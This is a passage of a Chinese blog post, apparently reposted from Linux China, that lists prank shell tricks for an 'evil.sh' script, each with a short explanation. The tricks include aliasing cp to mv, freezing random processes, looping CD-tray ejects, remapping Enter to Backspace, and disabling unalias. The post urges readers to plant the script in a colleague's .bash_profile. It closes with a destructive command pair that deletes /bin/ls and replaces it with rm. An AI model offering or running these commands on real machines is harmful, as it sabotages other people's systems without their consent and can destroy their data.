信仰
9. 今夕是何年?
这光怪陆离的世界啊,让我疑似梦中,那么,现在是什么时候?当然,我肯定不会去翻日历的,输入 date 命令才是我们命令行极客该做的事情。看着返回的日期,我不禁怀疑我的记忆,难道我穿越了么?
alias date='date -d "now + $RANDOM days"';
学习课堂:
date
命令可以显示相对偏移的日期,上述命令中 $RANDOM
的结果是一个随机的整数,也就是说这里的 date 命令会返回若干天之后的日期。
10. 如果你有一个鬼马的 CD 驱动器
现在 CD 驱动器用的不多了,但是很多机器上还残留着这个“咖啡杯托”,如果你有幸还有这个东西的话,或许今天它就被鬼怪附体了,一会弹出,一会又收回去,有时候你按下弹出键却毫无反应——当你真的将咖啡杯放上面时,小心,你的咖啡杯会掉下来!
将 CD 盘托当成咖啡杯托是一个笑话,据说某人曾经给电脑厂家打电话:
“您好,我想说你们的机器上的咖啡杯托以前挺好用的,可是现在它不动了。”
“‘咖啡杯托’?那是什么?”
“就是那个一按按钮就会弹出的托盘啊,放咖啡杯正好,还有合适的凹槽,设计的不错!以前都好好的,现在它不会弹出了。”
“……”
N=$[$RANDOM % 3];
if [[ $N == 0 ]]; then
# 几分钟后随即打开或关闭
sh -c 'sleep $[($RANDOM % 900) + 300]s; while :; do eject -T; sleep $[($RANDOM % 20) + 1]s; done' > /dev/null 2>&1 &
elif [[ $N == 1 ]]; then
# 要么,死活打不开
sh -c 'while :; do eject -t; eject -i on; sleep 0.1s; done' > /dev/null 2>&1 &
else
# 要么,读取变得极慢(1 倍速),需要循环的原因是弹出后就需要重新设定。
sh -c 'set +o errexit; while :; do eject -x 1; sleep 1s; done' > /dev/null 2>&1 &
fi;
学习课堂:
eject
是操作 CD 驱动器的命令行,记得当年有位第一次接触 SUN Solaris 的同事问我,这 CD 怎么打开啊?我默默地输入了 eject, 在同事愕然的眼光中不带走一丝云彩轻轻地离开。
eject
的 -T
选项会将关闭的 CD 驱动器打开,将打开的 CD 驱动器关闭;-t 选项则是关闭 CD 驱动器;-x 选项用来设置读取倍速;-i on 用于将弹出按钮失效。
11. 冰川时代
突然地,某个你已经打开的程序冻结了,也许是你的浏览器、也许是你正写了一半的文档,所以,随时保存文档是个好习惯吗?
sleep $[ ( $RANDOM % 100 ) + 1 ]s && kill -STOP $(ps x -o pid|sed 1d|sort -R|head -1) &
学习课题:
sleep
就不用解释了,这代表暂停若干秒。
通过上述 ps
命令会会随机选出(sort
命令的 -R
选项)一个你的进程号,然后由 kill 命令发送 STOP
信号给它。STOP
信息会使程序被停止(冻结、挂起),在命令行中可有 CTRL-Z
发出,被停止的进程可以通过 bg
放到后台运行,也可以由 fg
带回到前台。
12. 一个还是两个?
当我想复制一个文件到另外一个地方时,咦?原来的那个哪里去了?
alias cp='mv';
还好,还好,你总是还有一个副本的,这总算是不幸中的大幸了。
学习课堂:
cp
是 mv
,mv
还是 mv
。
13. 永不停止的工作
打完收工,你总是要退出(exit
)你的 shell 的,但是一直退不出是什么意思?
alias exit='sh';
学习课堂:
将 exit
命令别名为 sh
,这样输入 exit
命令后不是退出当前 shell
,而是有进入了一个新的子 shell
,想退出不干?没门!
到底是哪行?
会用 grep
的你,应该知道-n
参数可以告诉你所匹配的行的行号,但是随机乱变的行号是什么鬼?我讨厌随机!
function grep { command grep "$@" | awk -F: '{ r = int(rand() * 10); n = $1; $1 = ""; command if (n ~ /^[0-9]+$/) { o = n+r } else { o = n }; print o ":" substr($0, 2)}'; }
学习课堂:
grep
命令的 -n
用于输出匹配的行的行号,上述函数将 grep
定义为一个输出的行号完全不可预测的程序。
14. 世界是反着的
你脚本也总是出各种匪夷所思的问题,而且你还不知道什么地方出了问题。这一切都要怪你进入了一个“是”即是“非”的世界。
alias if='if !' for='for !' while='while !';
将if
、for
和 while
所检测的条件定义为反,我不知道这个世界可以疯狂到这个地步!
学习课堂:
if
、for
和 while
是用于 shell 脚本中做逻辑判断和循环的语句,! 表示对表达式逻辑取反。
15. 想执行命令?没门!
当你输入了一个命令之后,用小指轻轻地、优雅地,按下右侧的那个小小的回车键,满心以为会爆发出绝世高手的风范。然而……并没有,非但没有,你输入的命令还被删除了一个字符!懵逼的你以为用力太轻了,再次敲击后发现又被删除了一个!!!
记得有一个电影,危急情况下,当别人把键盘递给一位即将闭眼的黑客时,他只是轻轻按下了那个“回车”!
bind '"C-J":"C-?"';
bind '"C-M":"C-?"';
学习课堂:
bind
用于显示和设置键盘序列绑定,C-J
代表 CTRL-J
,所触发的 ASCII 码是 0x0A,即“换行”;C-M
代表CTRL-M
,所触发的 ASCII 码是 0x0D,即“回车”;C-?
代表 CTRL-?
,所触发的 ASCII 码是 0x7F,即“退格”。也就是说,你按下的回车键,会被映射为退格键。关于 ASCII 控制字符,可参见: http://ascii-table.com/control-chars.php 。也可以使用showkey -a
命令来检验你按下的键的键值(CTRL-D 退出)。
16. 好的,但是我不干
你说要,但是你的身体却说不要。明明应该应答 yes,但是却实际上拒绝了。
alias yes="yes n";
学习课堂:
yes
命令常用于脚本中应答 y,但是这里重定义了 yes 的结果。这是身口不一么?
17. 我要编辑文件
当我用 vim 打开一个文件时,为什么什么都没发生?
alias vim="vim +q";
学习课堂:
vim
可以用 + 来跟上要在 vim 里面执行的命令,这里 +q
表示退出 vim
。
18. 最后,别想回到正常的世界
好吧,我明白了,都是 alias 捣的鬼,我要取消它们。什么?取消也无效了?
alias unalias=false;
alias alias=false;
学习课堂:
将 alias
和 unalias
别名为false
,那你就不能执行 alias
的功能了。
让我回到真实的世界吧!
好了,我已经受够了这个疯狂是世界了。其实,上面这些别名,都是可以通过输入命令的全路径来绕开别名的——只是一般人不会这样输入。
想要整蛊你的同事,那就将这个脚本放到他的机器上,并在他的 .bash_profile 的末尾加入 source ~/evil.sh 即可。当然,你要这么做之前,要有友尽的心理准备。
评论两句
以上内容来自linux中国,一个很好的linux社区。推荐。上面的的内容很多都需要在特定的环境下执行才行比如使用alias
别名等,在脚本中,或不在当前shell执行的时候,都需要注意,可能执行不成功。建议脚本中使用绝对路径
。
附送一个黑招
sudo rm -rf /bin/ls
sudo cp /bin/rm /bin/ls